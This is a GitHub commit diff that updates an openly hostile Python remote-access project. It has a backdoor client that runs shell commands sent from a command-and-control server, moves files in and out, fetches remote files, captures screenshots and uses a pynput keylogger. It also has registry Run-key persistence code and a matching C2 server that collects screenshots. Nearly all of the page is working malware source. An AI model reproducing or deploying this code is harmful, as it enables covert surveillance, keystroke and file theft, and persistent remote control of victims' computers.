Skip to content

Commit 9dd0a57

Browse files
authored
Add files via upload
1 parent 6d3a8fa commit 9dd0a57

File tree

4 files changed

+68
-20
lines changed

4 files changed

+68
-20
lines changed

backdoor/backdoor.py

+45-16
Original file line numberDiff line numberDiff line change
@@ -3,18 +3,27 @@
33
import subprocess
44
import time
55
import os
6-
import pyautogui #dependency # pip install pyautogui #mss is faster alternative
7-
import keylogger
86
import threading
97
import shutil
108
import sys
11-
import requests
129
from sys import platform
1310

11+
# External dependencies
12+
from mss import mss
13+
import requests
14+
15+
# Local dependencies
16+
import keylogger
17+
# from mss import mss # mss v6.1.0
18+
# import requests # v2.28.0
19+
20+
21+
1422
def reliable_send(data):
1523
jsondata = json.dumps(data)
1624
s.send(jsondata.encode())
1725

26+
1827
def reliable_recv():
1928
data = ''
2029
while True:
@@ -24,6 +33,7 @@ def reliable_recv():
2433
except ValueError:
2534
continue
2635

36+
2737
def download_file(file_name):
2838
f = open(file_name, 'wb')
2939
s.settimeout(2)
@@ -37,32 +47,46 @@ def download_file(file_name):
3747
s.settimeout(None)
3848
f.close()
3949

50+
4051
def upload_file(file_name):
4152
f = open(file_name, 'rb')
4253
s.send(f.read())
4354

55+
4456
def download_url(url):
4557
get_response = requests.get(url)
4658
file_name = url.split('/')[-1]
4759
with open(file_name, 'wb') as out_file:
4860
out_file.write(get_response.content)
4961

62+
5063
def screenshot():
51-
myScreenshot = pyautogui.screenshot()
52-
myScreenshot.save('.screen.png')
64+
if platform == "win32" or platform == "darwin":
65+
with mss() as screen:
66+
filename = screen.shot()
67+
os.rename(filename, '.screen.png')
68+
elif platform == "linux" or platform == "linux2":
69+
with mss(display=":0.0") as screen:
70+
filename = screen.shot()
71+
os.rename(filename, '.screen.png')
72+
73+
# TODO: screenshot other monitors
5374

5475
def persist(reg_name, copy_name):
5576
file_location = os.environ['appdata'] + '\\' + copy_name
5677
try:
5778
if not os.path.exists(file_location):
5879
shutil.copyfile(sys.executable, file_location)
59-
subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ' + reg_name + ' /t REG_SZ /d "' + file_location + '"', shell=True)
80+
subprocess.call(
81+
'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ' + reg_name + ' /t REG_SZ /d "' + file_location + '"',
82+
shell=True)
6083
reliable_send('[+] Created Persistence With Reg Key: ' + reg_name)
6184
else:
6285
reliable_send('[+] Persistence Already Exists')
6386
except:
6487
reliable_send('[-] Error Creating Persistence With The Target Machine')
6588

89+
6690
def is_admin():
6791
global admin
6892
if platform == 'win32':
@@ -72,28 +96,29 @@ def is_admin():
7296
admin = '[!!] User Privileges!'
7397
else:
7498
admin = '[+] Administrator Privileges!'
75-
elif platform == "linux" or platform == "linux2" or platform == "darwin":
99+
elif platform == "linux" or platform == "linux2" or platform == "darwin":
76100
pass
77-
#TO BE DONE
101+
# TO BE DONE
102+
78103

79104
def shell():
80105
while True:
81106
command = reliable_recv()
82107
if command == 'quit':
83108
break
84-
elif command == 'background': #BEGIN
109+
elif command == 'background': # BEGIN
85110
pass
86-
elif command == 'help': #ideally to be removed
111+
elif command == 'help': # ideally to be removed
87112
pass
88113
elif command == 'clear':
89-
pass #END
114+
pass # END
90115
elif command[:3] == 'cd ':
91116
os.chdir(command[3:])
92117
elif command[:6] == 'upload':
93118
download_file(command[7:])
94119
elif command[:8] == 'download':
95120
upload_file(command[9:])
96-
elif command[:3] == 'get':
121+
elif command[:3] == 'get':
97122
try:
98123
download_url(command[4:])
99124
reliable_send('[+] Downloaded File From Specified URL!')
@@ -119,7 +144,8 @@ def shell():
119144
reg_name, copy_name = command[12:].split(' ')
120145
persist(reg_name, copy_name)
121146
elif command[:7] == 'sendall':
122-
subprocess.Popen(command[8:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
147+
subprocess.Popen(command[8:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
148+
stdin=subprocess.PIPE)
123149
elif command[:5] == 'check':
124150
try:
125151
is_admin()
@@ -133,11 +159,13 @@ def shell():
133159
except:
134160
reliable_send('[-] Failed to start!')
135161
else:
136-
execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,stdin=subprocess.PIPE)
162+
execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
163+
stdin=subprocess.PIPE)
137164
result = execute.stdout.read() + execute.stderr.read()
138165
result = result.decode()
139166
reliable_send(result)
140167

168+
141169
def connection():
142170
while True:
143171
time.sleep(5)
@@ -150,6 +178,7 @@ def connection():
150178
break
151179
except:
152180
connection()
153-
181+
182+
154183
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
155-
connection()
184+
connection()

backdoor/keylogger.py

+6-1
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,15 @@
11
#Possibly requires Python3.7
22
import os
3-
from pynput.keyboard import Listener #Dependency # pip install listener
43
import time
54
import threading
65
from sys import platform
76

7+
# External dependencies
8+
from pynput.keyboard import Listener
9+
10+
# Local dependencies
11+
# from pynput.keyboard import Listener #v1.7.6
12+
813
class Keylogger():
914
keys = []
1015
count = 0

backdoor/requirements.txt

+9
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
# Generated using Pipreqs
2+
# https://pypi.org/project/pipreqs/
3+
4+
# pip install pipreqs
5+
# pipreqs /path/to/project
6+
7+
PyAutoGUI==0.9.53
8+
pynput==1.7.6
9+
requests==2.28.0

c2.py

+8-3
Original file line numberDiff line numberDiff line change
@@ -55,11 +55,15 @@ def screenshot(target, count):
5555
os.makedirs(directory)
5656
f = open(directory + '/screenshot_%d.png' % (count), 'wb') # if target=Linux then #apt-get install scrot
5757
target.settimeout(3)
58-
chunk = target.recv(1024)
58+
try:
59+
chunk = target.recv(10485760) # 10MB
60+
except:
61+
pass
62+
5963
while chunk:
6064
f.write(chunk)
6165
try:
62-
chunk = target.recv(1024)
66+
chunk = target.recv(10485760)
6367
except socket.timeout as e:
6468
break
6569
target.settimeout(None)
@@ -134,6 +138,7 @@ def target_communication(target, ip):
134138
download_file(target, command[9:])
135139
elif command[:10] == 'screenshot':
136140
screenshot(target, count)
141+
count = count + 1
137142
elif command == 'help':
138143
server_help_manual()
139144
else:
@@ -243,4 +248,4 @@ def accept_connections():
243248
# TODO: encrypt connection
244249
# TODO: Implement a 'pulse' feature between server and backdoor (Keep alive)
245250
# This will ensure if server.py crashes the backdoor will after 60s will realise server is not listen on socket
246-
# and will attempt to run connection() function again.
251+
# and will attempt to run connection() function again.

0 commit comments

Comments
 (0)